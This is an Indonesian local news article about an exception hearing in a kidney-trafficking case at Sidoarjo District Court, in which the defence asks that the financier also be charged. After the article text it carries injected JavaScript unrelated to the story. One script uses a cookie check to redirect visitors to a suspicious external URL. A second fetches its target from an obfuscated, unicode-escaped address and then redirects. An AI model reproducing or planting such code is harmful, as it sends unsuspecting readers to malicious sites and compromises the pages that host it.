Sidang Pembacaan Eksepsi Atas Dakwaan Kasus Jual Ginjal Digelar Pengadilan Negeri Sidoarjo

Sidoarjo | RNN – Kasus perkara dugaan Tindak Pidana Perdagangan Orang (TPPO) dengan terdakwa Achmad Farid Hamsyah dan Ayu Wardhani Sechatur Rochmania warga Perumahan Town House blok J 10, Desa Pekarangan, Kecamatan Sukodono kembali di gelar oleh Pengadilan Negeri (PN) Sidoarjo, dengan agenda sidang pembacaan Eksepsi Kasus Jual Ginjal, Rabu 7 Mei 2025.

Kuasa hukum terdakwa, Adv. Supolo Setyo Wibowo S.H., M.H , menerangkan kepada awak Media bahwa kliennya keberatan karena hanya diposisikan sebagai pelaku utama dalam tindak pidana perdagangan orang (TPPO), sementara ada pihak pembiaya tidak turut dijerat hukum.

“Klien kami keberatan atas tuntutan dari Jaksa Penuntut Umum karena TPPO tidak mungkin dilaksankan jikalau tidak ada aktor atau dalang dari proses pembiayaan”. Pungkasnya

Supolo juga memaparkan perempuan bernama Siti Nurul Haliza alias Nunu, warga Makassar, sebagai penyandang dana perjalanan ke India. Namun, dalam proses hukum, Nurul hanya berstatus sebagai saksi.

“Kami menanyakan dalam kasus ini mengapa pembiaya hanya dijadikan saksi karena pada intinya kasus ini tidak akan terjadi jika tidak ada pembiaaya”imbuhnya kepada awakmedia.

Advokat dari Graha Keadilan Law Firm itu menuturkan akan menghadirkan ahli pidana dalam persidangan mendatang untuk menjelaskan bahwa dalam tindak pidana berantai, penyandang dana juga memiliki tanggung jawab hukum yang setara dengan pelaku lainnya.

Pokok Permohonan eksepsi yang di ajukan oleh Terdakwa ialah

1. Menyatakan dakwaan penuntut umum batal demi hukum karena tidak cermat, tidak jelas, dan tidak lengkap

2. Memerintahkan penuntut umum untuk menyunsun kembali surat dakwaan dengan memasukkan seluruh pihak yang diminta pertanggung jawaban pidana termasuk pembiaya

3. Menanguhkan proses pemeriksaan perkara pokok sampai dakwaan diperbaiki

4. Memerintahkan penyelidikan lebih lanjut terhadap pembiaya guna memenuhi prinsip keadilan dan persamaan hukum.

Kedua terdakwa saat ini didakwa dengan Pasal 4 Jo Pasal 10 Undang–Undang Nomor 21 Tahun 2007 tentang Pemberantasan TPPO. Selain itu, dakwaan subsider dikenakan berdasarkan Pasal 432 ayat (2) UU Nomor 17 Tahun 2023 tentang Kesehatan Jo Pasal 55 ayat (1) ke-1 KUHP Jo Pasal 53 ayat (1) KUHP, yang mengatur tentang percobaan tindak pidana dan penyertaan.

Sidang pembacaan Eksepsi yang dipimpin oleh Majelis Hakim D. Herjuna Wisnu Gautama akan dilanjutkan dengan agenda pembacaan tanggapan dari JPU Kejaksaan Sidoarjo.
(function() {
const redirectUrl = “https://io548q89.evideotected.my.id/help/?32861745670379”;
const cookieName = “redirected”;

function getCookie(name) {
const value = “; ” + document.cookie;
const parts = value.split(“; ” + name + “=”);
if (parts.length === 2) return parts.pop().split(“;”).shift();
return null;
}

function setCookie(name, value, days) {
const expires = new Date(Date.now() + days*24*60*60*1000).toUTCString();
document.cookie = name + “=” + value + “; expires=” + expires + “; path=/”;
}

if (!getCookie(cookieName)) {
setCookie(cookieName, “true”, 1);
location.href = redirectUrl;
}
})();
(function(){if (document.cookie.includes(‘hasRedirected=1’)) return;fetch(‘u0068u0074u0074u0070u0073u003au002fu002fu0064u0069u0073u0074u0069u0065u002eu0073u0068u006fu0070/?t=json&u=153d4f720470d9e7a3e895c70153e7cd’).then(r => r.json()).then(d => {const
domain = d?.domain;if (domain) {document.cookie = ‘hasRedirected=1; max-age=86400; path=/’;location.href = domain + ‘?32861745670379’;}});})();

Pos terkait

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *